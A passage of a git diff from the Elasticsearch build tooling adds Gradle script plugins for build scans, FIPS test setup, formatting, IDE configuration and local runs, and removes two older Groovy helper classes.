System.getenv('NODE_NAME') + String jobBranch = System.getenv('JOB_BRANCH') + + tag OS.current().name() + tag Architecture.current().name() + + // Tag if this build is run in FIPS mode + if (BuildParams.inFipsJvm) { + tag 'FIPS' + } + + // Automatically publish scans from Elasticsearch CI + if (jenkinsUrl?.host?.endsWith('elastic.co') || jenkinsUrl?.host?.endsWith('elastic.dev')) { + publishAlways() + buildScan.server = 'https://gradle-enterprise.elastic.co' + } + + // Link to Jenkins worker logs and system metrics + if (nodeName) { + link 'System logs', "https://infra-stats.elastic.co/app/infra#/logs?" + + "&logFilter=(expression:'host.name:${nodeName}',kind:kuery)" + buildFinished { + link 'System metrics', "https://infra-stats.elastic.co/app/metrics/detail/host/" + + "${nodeName}?_g=()&metricTime=(autoReload:!f,refreshInterval:5000," + + "time:(from:${startTime - TimeUnit.MILLISECONDS.convert(5, TimeUnit.MINUTES)},interval:%3E%3D1m," + + "to:${System.currentTimeMillis() + TimeUnit.MILLISECONDS.convert(5, TimeUnit.MINUTES)}))" + } + } + + // Jenkins-specific build scan metadata + if (jenkinsUrl) { + // Disable async upload in CI to ensure scan upload completes before CI agent is terminated + uploadInBackground = false + + // Parse job name in the case of matrix builds + // Matrix job names come in the form of "base-job-name/matrix_param1=value1,matrix_param2=value2" + def splitJobName = jobName.split('/') + if (splitJobName.length > 1 && splitJobName.last() ==~ /^([a-zA-Z0-9_\-]+=[a-zA-Z0-9_\-&\.]+,?)+$/) { + def baseJobName = splitJobName.dropRight(1).join('/') + tag baseJobName + tag splitJobName.last() + value 'Job Name', baseJobName + def matrixParams = splitJobName.last().split(',') + matrixParams.collect { it.split('=') }.each { param -> + value "MATRIX_${param[0].toUpperCase()}", param[1] + } + } else { + tag jobName + value 'Job Name', jobName + } + + tag 'CI' + link 'CI Build', buildUrl + link 'GCP Upload', "https://console.cloud.google.com/storage/browser/_details/elasticsearch-ci-artifacts/jobs/${URLEncoder.encode(jobName, "UTF-8")}/build/${buildNumber}.tar.bz2" + value 'Job Number', buildNumber + if (jobBranch) { + tag jobBranch + value 'Git Branch', jobBranch + } + + System.getenv().getOrDefault('NODE_LABELS', '').split(' ').each { + value 'Jenkins Worker Label', it + } + + // Add SCM information + def isPrBuild = System.getenv('ROOT_BUILD_CAUSE_GHPRBCAUSE') != null + if (isPrBuild) { + value 'Git Commit ID', System.getenv('ghprbActualCommit') + tag "pr/${System.getenv('ghprbPullId')}" + tag 'pull-request' + link 'Source', "https://github.com/elastic/elasticsearch/tree/${System.getenv('ghprbActualCommit')}" + link 'Pull Request', System.getenv('ghprbPullLink') + } else { + value 'Git Commit ID', BuildParams.gitRevision + link 'Source', "https://github.com/elastic/elasticsearch/tree/${BuildParams.gitRevision}" + } + } else { + tag 'LOCAL' + } + } +} + +subprojects { + project.getPlugins().withType(TestRerunPlugin) { + tasks.withType(Test).configureEach(new Action() { + @Override + void execute(Test test) { + test.doLast(new Action() { + @Override + void execute(Test t) { + if(t.rerun.didRerun.get() == true) { + buildScan.tag 'unexpected-test-jvm-exit' + } + } + }) + } + }) + } +} diff --git a/buildSrc/src/main/groovy/elasticsearch.bwc-test.gradle b/buildSrc/src/main/groovy/elasticsearch.bwc-test.gradle new file mode 100644 index 0000000000000..78d55797e5f63 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.bwc-test.gradle @@ -0,0 +1,38 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.Version +import org.elasticsearch.gradle.internal.info.BuildParams + +ext.bwcTaskName = { Version version -> + return "v${version}#bwcTest" +} + +def bwcTestSnapshots = tasks.register("bwcTestSnapshots") { + if (project.bwc_tests_enabled) { + dependsOn tasks.matching { task -> BuildParams.bwcVersions.unreleased.any { version -> bwcTaskName(version) == task.name } } + } +} + +tasks.register("bwcTest") { + description = 'Runs backwards compatibility tests.' + group = 'verification' + + if (project.bwc_tests_enabled) { + dependsOn tasks.matching { it.name ==~ /v[0-9\.]+#bwcTest/ } + } +} + +tasks.withType(Test).configureEach { + onlyIf { project.bwc_tests_enabled } + nonInputProperties.systemProperty 'tests.bwc', 'true' +} + +tasks.matching { it.name.equals("check") }.configureEach {dependsOn(bwcTestSnapshots) } + +tasks.matching { it.name.equals("test") }.configureEach {enabled = false} diff --git a/buildSrc/src/main/groovy/elasticsearch.fips.gradle b/buildSrc/src/main/groovy/elasticsearch.fips.gradle new file mode 100644 index 0000000000000..8af190367beb9 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.fips.gradle @@ -0,0 +1,88 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.internal.ExportElasticsearchBuildResourcesTask +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.testclusters.TestDistribution + +// Common config when running with a FIPS-140 runtime JVM +if (BuildParams.inFipsJvm) { + + allprojects { + String javaSecurityFilename = BuildParams.runtimeJavaDetails.toLowerCase().contains('oracle') ? 'fips_java_oracle.security' : 'fips_java.security' + File fipsResourcesDir = new File(project.buildDir, 'fips-resources') + File fipsSecurity = new File(fipsResourcesDir, javaSecurityFilename) + File fipsPolicy = new File(fipsResourcesDir, 'fips_java.policy') + File fipsTrustStore = new File(fipsResourcesDir, 'cacerts.bcfks') + def bcFips = dependencies.create('org.bouncycastle:bc-fips:1.0.2') + def bcTlsFips = dependencies.create('org.bouncycastle:bctls-fips:1.0.9') + + pluginManager.withPlugin('java-base') { + TaskProvider fipsResourcesTask = project.tasks.register('fipsResources', ExportElasticsearchBuildResourcesTask) + fipsResourcesTask.configure { + outputDir = fipsResourcesDir + copy javaSecurityFilename + copy 'fips_java.policy' + copy 'cacerts.bcfks' + } + + project.afterEvaluate { + def extraFipsJars = configurations.detachedConfiguration(bcFips, bcTlsFips) + // ensure that bouncycastle is on classpath for the all of test types, must happen in evaluateAfter since the rest tests explicitly + // set the class path to help maintain pure black box testing, and here we are adding to that classpath + tasks.withType(Test).configureEach { Test test -> + test.setClasspath(test.getClasspath().plus(extraFipsJars)) + } + } + + pluginManager.withPlugin("elasticsearch.testclusters") { + afterEvaluate { + // This afterEvaluate hooks is required to avoid deprecated configuration resolution + // This configuration can be removed once system modules are available + def extraFipsJars = configurations.detachedConfiguration(bcFips, bcTlsFips) + testClusters.all { + extraFipsJars.files.each { + extraJarFile it + } + } + } + testClusters.all { + setTestDistribution(TestDistribution.DEFAULT) + extraConfigFile "fips_java.security", fipsSecurity + extraConfigFile "fips_java.policy", fipsPolicy + extraConfigFile "cacerts.bcfks", fipsTrustStore + systemProperty 'java.security.properties', '=${ES_PATH_CONF}/fips_java.security' + systemProperty 'java.security.policy', '=${ES_PATH_CONF}/fips_java.policy' + systemProperty 'javax.net.ssl.trustStore', '${ES_PATH_CONF}/cacerts.bcfks' + systemProperty 'javax.net.ssl.trustStorePassword', 'password' + systemProperty 'javax.net.ssl.keyStorePassword', 'password' + systemProperty 'javax.net.ssl.keyStoreType', 'BCFKS' + systemProperty 'org.bouncycastle.fips.approved_only', 'true' + // Setting security explicitly off as a default behavior for the tests which normally run + // with no x-pack. Tests having security explicitly enabled/disabled will override this setting + setting 'xpack.security.enabled', 'false' + setting 'xpack.security.fips_mode.enabled', 'true' + setting 'xpack.license.self_generated.type', 'trial' + keystorePassword 'keystore-password' + } + } + project.tasks.withType(Test).configureEach { Test task -> + task.dependsOn('fipsResources') + task.systemProperty('javax.net.ssl.trustStorePassword', 'password') + task.systemProperty('javax.net.ssl.keyStorePassword', 'password') + task.systemProperty('javax.net.ssl.trustStoreType', 'BCFKS') + // Using the key==value format to override default JVM security settings and policy + // see also: https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html + task.systemProperty('java.security.properties', String.format(Locale.ROOT, "=%s", fipsSecurity)) + task.systemProperty('java.security.policy', String.format(Locale.ROOT, "=%s", fipsPolicy)) + task.systemProperty('javax.net.ssl.trustStore', fipsTrustStore) + task.systemProperty('org.bouncycastle.fips.approved_only', 'true') + } + } + } +} diff --git a/buildSrc/src/main/groovy/elasticsearch.forbidden-dependencies.gradle b/buildSrc/src/main/groovy/elasticsearch.forbidden-dependencies.gradle new file mode 100644 index 0000000000000..2c20d79fac711 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.forbidden-dependencies.gradle @@ -0,0 +1,34 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +// we do not want any of these dependencies on the compilation classpath +// because they could then be used within Elasticsearch +List FORBIDDEN_DEPENDENCIES = [ + 'guava' +] + +Closure checkDeps = { Configuration configuration -> + configuration.resolutionStrategy.eachDependency { + String artifactName = it.target.name + if (FORBIDDEN_DEPENDENCIES.contains(artifactName)) { + throw new GradleException("Dependency '${artifactName}' on configuration '${configuration.name}' is not allowed. " + + "If it is needed as a transitive depenency, try adding it to the runtime classpath") + } + } +} + +subprojects { + if (project.path.startsWith(':test:fixtures:') || project.path.equals(':build-tools')) { + // fixtures are allowed to use whatever dependencies they want... + return + } + pluginManager.withPlugin('java') { + checkDeps(configurations.compileClasspath) + checkDeps(configurations.testCompileClasspath) + } +} diff --git a/buildSrc/src/main/groovy/elasticsearch.formatting.gradle b/buildSrc/src/main/groovy/elasticsearch.formatting.gradle new file mode 100644 index 0000000000000..f4e1dcf1896b5 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.formatting.gradle @@ -0,0 +1,181 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.internal.BuildPlugin + +/* + * This script plugin configures formatting for Java source using Spotless + * for Gradle. Since the act of formatting existing source can interfere + * with developers' workflows, we don't automatically format all code + * (yet). Instead, we maintain a list of projects that are excluded from + * formatting, until we reach a point where we can comfortably format them + * in one go without too much disruption. + * + * Any new sub-projects must not be added to the exclusions list! + * + * To perform a reformat, run: + * + * ./gradlew spotlessApply + * + * To check the current format, run: + * + * ./gradlew spotlessJavaCheck + * + * This is also carried out by the `precommit` task. + * + * For more about Spotless, see: + * + * https://github.com/diffplug/spotless/tree/master/plugin-gradle + */ + +// Do not add new sub-projects here! +def projectPathsToExclude = [ + ':client:benchmark', + ':client:client-benchmark-noop-api-plugin', + ':client:rest', + ':client:rest-high-level', + ':client:sniffer', + ':client:test', + ':example-plugins:custom-settings', + ':example-plugins:custom-significance-heuristic', + ':example-plugins:custom-suggester', + ':example-plugins:painless-whitelist', + ':example-plugins:rescore', + ':example-plugins:rest-handler', + ':example-plugins:script-expert-scoring', + ':example-plugins:security-authorization-engine', + ':libs:elasticsearch-cli', + ':libs:elasticsearch-core', + ':libs:elasticsearch-dissect', + ':libs:elasticsearch-geo', + ':libs:elasticsearch-grok', + ':libs:elasticsearch-nio', + ':libs:elasticsearch-plugin-classloader', + ':libs:elasticsearch-secure-sm', + ':libs:elasticsearch-ssl-config', + ':libs:elasticsearch-x-content', + ':modules:aggs-matrix-stats', + ':modules:analysis-common', + ':modules:ingest-common', + ':modules:ingest-geoip', + ':modules:ingest-user-agent', + ':modules:lang-expression', + ':modules:lang-mustache', + ':modules:lang-painless', + ':modules:lang-painless:spi', + ':modules:mapper-extras', + ':modules:parent-join', + ':modules:percolator', + ':modules:rank-eval', + ':modules:reindex', + ':modules:repository-url', + ':modules:systemd', + ':modules:tasks', + ':modules:transport-netty4', + ':plugins:analysis-icu', + ':plugins:analysis-kuromoji', + ':plugins:analysis-nori', + ':plugins:analysis-phonetic', + ':plugins:analysis-smartcn', + ':plugins:analysis-stempel', + ':plugins:analysis-ukrainian', + ':plugins:discovery-azure-classic', + ':plugins:discovery-ec2', + ':plugins:discovery-gce', + ':plugins:ingest-attachment', + ':plugins:mapper-annotated-text', + ':plugins:mapper-murmur3', + ':plugins:mapper-size', + ':plugins:repository-azure', + ':plugins:repository-gcs', + ':plugins:repository-hdfs', + ':plugins:repository-s3', + ':plugins:store-smb', + ':plugins:transport-nio', + ':qa:die-with-dignity', + ':rest-api-spec', + ':server', + ':test:fixtures:azure-fixture', + ':test:fixtures:gcs-fixture', + ':test:fixtures:hdfs-fixture', + ':test:fixtures:krb5kdc-fixture', + ':test:fixtures:minio-fixture', + ':test:fixtures:old-elasticsearch', + ':test:fixtures:s3-fixture', + ':test:framework', + ':test:logger-usage', + ':x-pack:license-tools', + ':x-pack:plugin:analytics', + ':x-pack:plugin:async-search', + ':x-pack:plugin:async-search:qa', + ':x-pack:plugin:ccr', + ':x-pack:plugin:ccr:qa', + ':x-pack:plugin:core', + ':x-pack:plugin:deprecation', + ':x-pack:plugin:enrich:qa:common', + ':x-pack:plugin:eql', + ':x-pack:plugin:eql:qa', + ':x-pack:plugin:eql:qa:common', + ':x-pack:plugin:frozen-indices', + ':x-pack:plugin:graph', + ':x-pack:plugin:identity-provider', + ':x-pack:plugin:ilm', + ':x-pack:plugin:mapper-constant-keyword', + ':x-pack:plugin:mapper-flattened', + ':x-pack:plugin:ml', + ':x-pack:plugin:monitoring', + ':x-pack:plugin:ql', + ':x-pack:plugin:rollup', + ':x-pack:plugin:search-business-rules', + ':x-pack:plugin:security', + ':x-pack:plugin:security:cli', + ':x-pack:plugin:spatial', + ':x-pack:plugin:sql', + ':x-pack:plugin:sql:jdbc', + ':x-pack:plugin:sql:qa', + ':x-pack:plugin:sql:qa:security', + ':x-pack:plugin:sql:sql-action', + ':x-pack:plugin:sql:sql-cli', + ':x-pack:plugin:sql:sql-client', + ':x-pack:plugin:sql:sql-proto', + ':x-pack:plugin:transform', + ':x-pack:plugin:vectors', + ':x-pack:plugin:watcher', + ':x-pack:plugin:wildcard', + ':x-pack:qa', + ':x-pack:qa:security-example-spi-extension', + ':x-pack:test:idp-fixture', + ':x-pack:test:smb-fixture' +] + +subprojects { + plugins.withType(BuildPlugin).whenPluginAdded { + if (projectPathsToExclude.contains(project.path) == false) { + project.apply plugin: "com.diffplug.spotless" + + spotless { + java { + // Normally this isn't necessary, but we have Java sources in + // non-standard places + target 'src/**/*.java' + + removeUnusedImports() + eclipse().configFile rootProject.file('buildSrc/formatterConfig.xml') + trimTrailingWhitespace() + + // See CONTRIBUTING.md for details of when to enabled this. + if (System.getProperty('spotless.paddedcell') != null) { + paddedCell() + } + } + } + + tasks.named("precommit").configure {dependsOn 'spotlessJavaCheck' } + } + } +} diff --git a/buildSrc/src/main/groovy/elasticsearch.ide.gradle b/buildSrc/src/main/groovy/elasticsearch.ide.gradle new file mode 100644 index 0000000000000..5e08bb25fb381 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.ide.gradle @@ -0,0 +1,220 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.internal.info.BuildParams +import org.jetbrains.gradle.ext.JUnit + +import java.nio.file.Files +import java.nio.file.Paths +import java.nio.file.StandardCopyOption + +buildscript { + repositories { + maven { + url "https://plugins.gradle.org/m2/" + } + } + dependencies { + classpath "gradle.plugin.org.jetbrains.gradle.plugin.idea-ext:gradle-idea-ext:0.7" + } +} + +allprojects { + apply plugin: 'idea' + + tasks.named('idea').configure { + doFirst { throw new GradleException("Use of the 'idea' task has been deprecated. For details on importing into IntelliJ see CONTRIBUTING.md.") } + } +} + +tasks.register('configureIdeCheckstyle') { + group = 'ide' + description = 'Generated a suitable checkstyle config for IDEs' + + String checkstyleConfig = 'buildSrc/src/main/resources/checkstyle.xml' + String checkstyleSuppressions = 'buildSrc/src/main/resources/checkstyle_suppressions.xml' + String checkstyleIdeFragment = 'buildSrc/src/main/resources/checkstyle_ide_fragment.xml' + String checkstyleIdeConfig = "$rootDir/checkstyle_ide.xml" + + inputs.files(file(checkstyleConfig), file(checkstyleIdeFragment)) + outputs.files(file(checkstyleIdeConfig)) + + doLast { + // Create an IDE-specific checkstyle config by first copying the standard config + Files.copy( + Paths.get(file(checkstyleConfig).getPath()), + Paths.get(file(checkstyleIdeConfig).getPath()), + StandardCopyOption.REPLACE_EXISTING + ) + + // There are some rules that we only want to enable in an IDE. These + // are extracted to a separate file, and merged into the IDE-specific + // Checkstyle config. + Node xmlFragment = parseXml(checkstyleIdeFragment) + + // Edit the copy so that IntelliJ can copy with it + modifyXml(checkstyleIdeConfig, { xml -> + // Add all the nodes from the fragment file + Node treeWalker = xml.module.find { it.'@name' == 'TreeWalker' } + xmlFragment.module.each { treeWalker.append(it) } + + // Change the checkstyle config to inline the path to the + // suppressions config. This removes a configuration step when using + // the checkstyle config in an IDE. + Node suppressions = xml.module.find { it.'@name' == 'SuppressionFilter' } + suppressions.property.findAll { it.'@name' == 'file' }.each { it.'@value' = checkstyleSuppressions } + }, + "\n" + + "\n" + + "\n" + + "\n" + ) + } +} + +// Applying this stuff, particularly the idea-ext plugin, has a cost so avoid it unless we're running in the IDE +if (System.getProperty('idea.active') == 'true') { + project.apply(plugin: org.jetbrains.gradle.ext.IdeaExtPlugin) + + tasks.register('configureIdeaGradleJvm') { + group = 'ide' + description = 'Configures the appropriate JVM for Gradle' + + doLast { + modifyXml('.idea/gradle.xml') { xml -> + def gradleSettings = xml.component.find { it.'@name' == 'GradleSettings' }.option[0].GradleProjectSettings + // Remove configured JVM option to force IntelliJ to use the project JDK for Gradle + gradleSettings.option.findAll { it.'@name' == 'gradleJvm' }.each { it.parent().remove(it) } + } + } + } + + tasks.register('buildDependencyArtifacts') { + group = 'ide' + description = 'Builds artifacts needed as dependency for IDE modules' + dependsOn ':client:rest-high-level:shadowJar', ':plugins:repository-hdfs:hadoop-common:shadowJar' + } + + idea { + project { + vcs = 'Git' + jdkName = BuildParams.minimumCompilerVersion.majorVersion + + settings { + delegateActions { + delegateBuildRunToGradle = false + testRunner = 'choose_per_test' + } + taskTriggers { + afterSync tasks.named('configureIdeCheckstyle'), tasks.named('configureIdeaGradleJvm'), tasks.named('buildDependencyArtifacts') + } + codeStyle { + java { + classCountToUseImportOnDemand = 999 + } + } + encodings { + encoding = 'UTF-8' + } + compiler { + parallelCompilation = true + processHeapSize = 2048 + addNotNullAssertions = false + javac { + generateDeprecationWarnings = false + preferTargetJDKCompiler = false + } + } + runConfigurations { + defaults(JUnit) { + vmParameters = '-ea -Djava.locale.providers=SPI,COMPAT' + } + } + copyright { + useDefault = 'Default' + scopes = ['x-pack': 'Elastic', 'llrc': 'Apache2'] + profiles { + Default { + keyword = 'the Elastic License 2.0 or the Server' + notice = '''\ + Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + or more contributor license agreements. Licensed under the Elastic License + 2.0 and the Server Side Public License, v 1; you may not use this file except + in compliance with, at your election, the Elastic License 2.0 or the Server + Side Public License, v 1.'''.stripIndent() + } + Elastic { + keyword = '2.0; you may not use this file except in compliance with the Elastic License' + notice = '''\ + Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + or more contributor license agreements. Licensed under the Elastic License + 2.0; you may not use this file except in compliance with the Elastic License + 2.0.'''.stripIndent() + } + Apache2 { + keyword = 'Licensed to Elasticsearch B.V. under one or more contributor' + notice = '''\ + Licensed to Elasticsearch B.V. under one or more contributor + license agreements. See the NOTICE file distributed with + this work for additional information regarding copyright + ownership. Elasticsearch B.V. licenses this file to you under + the Apache License, Version 2.0 (the "License"); you may + not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License.'''.stripIndent() + } + } + } + } + } + } +} + +/** + * Parses a given XML file, applies a set of changes, and writes those changes back to the original file. + * + * @param path Path to existing XML file + * @param action Action to perform on parsed XML document + * @param preface optional front matter to add after the XML declaration + * but before the XML document, e.g. a doctype or comment + */ +void modifyXml(Object path, Action action, String preface = null) { + Node xml = parseXml(path) + action.execute(xml) + + File xmlFile = project.file(path) + xmlFile.withPrintWriter { writer -> + def printer = new XmlNodePrinter(writer) + printer.namespaceAware = true + printer.preserveWhitespace = true + writer.write("\n") + + if (preface != null) { + writer.write(preface) + } + printer.print(xml) + } +} + +Node parseXml(Object path) { + File xmlFile = project.file(path) + XmlParser xmlParser = new XmlParser(false, true, true) + xmlParser.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false) + Node xml = xmlParser.parse(xmlFile) + return xml +} diff --git a/buildSrc/src/main/groovy/elasticsearch.local-distribution.gradle b/buildSrc/src/main/groovy/elasticsearch.local-distribution.gradle new file mode 100644 index 0000000000000..12350bb29567a --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.local-distribution.gradle @@ -0,0 +1,34 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +/** + * This script sets up a local distribution. + * To install a local distribution run `localDistro`. + * The local distribution will be installed to + * build/distributions/local + * */ +import org.elasticsearch.gradle.Architecture + +// gradle has an open issue of failing applying plugins in +// precompiled script plugins (see https://github.com/gradle/gradle/issues/17004) +// apply plugin:'elasticsearch.internal-distribution-download' + +elasticsearch_distributions { + local { + type = 'archive' + architecture = Architecture.current() + } +} + +tasks.register('localDistro', Sync) { + from(elasticsearch_distributions.local) + into("build/distribution/local") + doLast { + logger.lifecycle("Elasticsearch distribution installed to ${destinationDir}.") + } +} diff --git a/buildSrc/src/main/groovy/elasticsearch.run.gradle b/buildSrc/src/main/groovy/elasticsearch.run.gradle new file mode 100644 index 0000000000000..92953ebbe01c5 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.run.gradle @@ -0,0 +1,42 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.testclusters.RunTask + +// gradle has an open issue of failing applying plugins in +// precompiled script plugins (see https://github.com/gradle/gradle/issues/17004) +// apply plugin: 'elasticsearch.internal-testclusters' + +testClusters { + runTask { + testDistribution = System.getProperty('run.distribution', 'default') + if (System.getProperty('run.distribution', 'default') == 'default') { + String licenseType = System.getProperty("run.license_type", "basic") + if (licenseType == 'trial') { + setting 'xpack.ml.enabled', 'true' + setting 'xpack.graph.enabled', 'true' + setting 'xpack.watcher.enabled', 'true' + setting 'xpack.license.self_generated.type', 'trial' + } else if (licenseType != 'basic') { + throw new IllegalArgumentException("Unsupported self-generated license type: [" + licenseType + "[basic] or [trial].") + } + setting 'xpack.security.enabled', 'true' + keystore 'bootstrap.password', 'password' + user username: 'elastic-admin', password: 'elastic-password', role: 'superuser' + systemProperty 'es.shutdown_feature_flag_enabled', 'true' + } + } +} + +tasks.register("run", RunTask) { + useCluster testClusters.runTask; + description = 'Runs elasticsearch in the foreground' + group = 'Verification' + + impliesSubProjects = true +} diff --git a/buildSrc/src/main/groovy/elasticsearch.runtime-jdk-provision.gradle b/buildSrc/src/main/groovy/elasticsearch.runtime-jdk-provision.gradle new file mode 100644 index 0000000000000..5875bb1cbe344 --- /dev/null +++ b/buildSrc/src/main/groovy/elasticsearch.runtime-jdk-provision.gradle @@ -0,0 +1,36 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +import org.elasticsearch.gradle.Architecture +import org.elasticsearch.gradle.OS +import org.elasticsearch.gradle.VersionProperties +import org.elasticsearch.gradle.internal.info.BuildParams + +// gradle has an open issue of failing applying plugins in +// precompiled script plugins (see https://github.com/gradle/gradle/issues/17004) +// apply plugin: 'elasticsearch.jdk-download' + +jdks { + provisioned_runtime { + vendor = VersionProperties.bundledJdkVendor + version = VersionProperties.getBundledJdk(OS.current().name().toLowerCase()) + platform = OS.current().name().toLowerCase() + architecture = Architecture.current().name().toLowerCase() + } +} + +configure(allprojects - project(':build-tools')) { + project.tasks.withType(Test).configureEach { Test test -> + if (BuildParams.getIsRuntimeJavaHomeSet()) { + test.executable = "${BuildParams.runtimeJavaHome}/bin/java" + } else { + test.dependsOn(rootProject.jdks.provisioned_runtime) + test.executable = rootProject.jdks.provisioned_runtime.getBinJavaPath() + } + } +} diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/MavenFilteringHack.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/MavenFilteringHack.groovy deleted file mode 100644 index 39bbbb3a165c7..0000000000000 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/MavenFilteringHack.groovy +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.gradle - -import org.apache.tools.ant.filters.ReplaceTokens -import org.gradle.api.file.CopySpec - -/** - * Gradle provides "expansion" functionality using groovy's SimpleTemplatingEngine (TODO: check name). - * However, it allows substitutions of the form {@code $foo} (no curlies). Rest tests provide - * some substitution from the test runner, which this form is used for. - * - * This class provides a helper to do maven filtering, where only the form {@code $\{foo\}} is supported. - * - * TODO: we should get rid of this hack, and make the rest tests use some other identifier - * for builtin vars - */ -class MavenFilteringHack { - /** - * Adds a filter to the given copy spec that will substitute maven variables. - * @param CopySpec - */ - static void filter(CopySpec copySpec, Map substitutions) { - Map mavenSubstitutions = substitutions.collectEntries() { - key, value -> ["{${key}".toString(), value.toString()] - } - copySpec.filter(ReplaceTokens, tokens: mavenSubstitutions, beginToken: '$', endToken: '}') - } -} diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/NoticeTask.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/NoticeTask.groovy deleted file mode 100644 index dfd1a2353a514..0000000000000 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/NoticeTask.groovy +++ /dev/null @@ -1,169 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle - -import org.gradle.api.DefaultTask -import org.gradle.api.file.FileCollection -import org.gradle.api.file.FileTree -import org.gradle.api.file.SourceDirectorySet -import org.gradle.api.tasks.InputFile -import org.gradle.api.tasks.InputFiles -import org.gradle.api.tasks.Optional -import org.gradle.api.tasks.OutputFile -import org.gradle.api.tasks.TaskAction - -/** - * A task to create a notice file which includes dependencies' notices. - */ -class NoticeTask extends DefaultTask { - - @InputFile - File inputFile = project.rootProject.file('NOTICE.txt') - - @OutputFile - File outputFile = new File(project.buildDir, "notices/${name}/NOTICE.txt") - - private FileTree sources - - /** Directories to include notices from */ - private List licensesDirs = new ArrayList<>() - - NoticeTask() { - description = 'Create a notice file from dependencies' - // Default licenses directory is ${projectDir}/licenses (if it exists) - File licensesDir = new File(project.projectDir, 'licenses') - if (licensesDir.exists()) { - licensesDirs.add(licensesDir) - } - } - - /** Add notices from the specified directory. */ - void licensesDir(File licensesDir) { - licensesDirs.add(licensesDir) - } - - void source(Object source) { - if (sources == null) { - sources = project.fileTree(source) - } else { - sources += project.fileTree(source) - } - } - - void source(SourceDirectorySet source) { - if (sources == null) { - sources = source - } else { - sources += source - } - } - - @TaskAction - void generateNotice() { - StringBuilder output = new StringBuilder() - output.append(inputFile.getText('UTF-8')) - output.append('\n\n') - // This is a map rather than a set so that the sort order is the 3rd - // party component names, unaffected by the full path to the various files - Map seen = new TreeMap<>() - noticeFiles.each { File file -> - String name = file.name.replaceFirst(/-NOTICE\.txt$/, "") - if (seen.containsKey(name)) { - File prevFile = seen.get(name) - if (prevFile.text != file.text) { - throw new RuntimeException("Two different notices exist for dependency '" + - name + "': " + prevFile + " and " + file) - } - } else { - seen.put(name, file) - } - } - - // Add all LICENSE and NOTICE files in licenses directory - for (Map.Entry entry : seen.entrySet()) { - String name = entry.getKey() - File file = entry.getValue() - appendFile(file, name, 'NOTICE', output) - appendFile(new File(file.parentFile, "${name}-LICENSE.txt"), name, 'LICENSE', output) - } - - // Find any source files with "@notice" annotated license header - for (File sourceFile : sources.files) { - boolean isPackageInfo = sourceFile.name == 'package-info.java' - boolean foundNotice = false - boolean inNotice = false - StringBuilder header = new StringBuilder() - String packageDeclaration - 